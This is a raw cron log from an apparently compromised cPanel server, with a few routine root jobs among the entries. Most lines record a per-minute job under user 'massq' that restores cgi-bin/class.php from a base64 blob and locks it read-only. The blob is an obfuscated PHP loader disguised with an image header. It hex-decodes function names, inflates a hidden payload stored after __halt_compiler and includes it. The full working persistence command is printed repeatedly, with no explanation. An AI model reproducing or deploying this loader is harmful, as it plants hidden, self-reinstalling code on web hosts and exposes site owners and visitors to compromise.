Nov 11 01:12:01 server CROND[12616]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:13:01 server CROND[13112]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:14:01 server CROND[13986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:15:01 server CROND[14907]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 01:15:01 server CROND[14908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 01:15:01 server CROND[14909]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:16:01 server CROND[15767]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:17:01 server CROND[16576]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:18:01 server CROND[17316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:19:01 server CROND[18148]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:20:01 server CROND[18999]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 01:20:01 server CROND[19002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 01:20:01 server CROND[19000]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:20:01 server CROND[19001]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 01:20:01 server CROND[19003]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 01:21:01 server CROND[19883]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:22:01 server CROND[20705]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:23:01 server CROND[21522]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:24:01 server CROND[22343]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:25:01 server CROND[23227]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 01:25:01 server CROND[23229]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
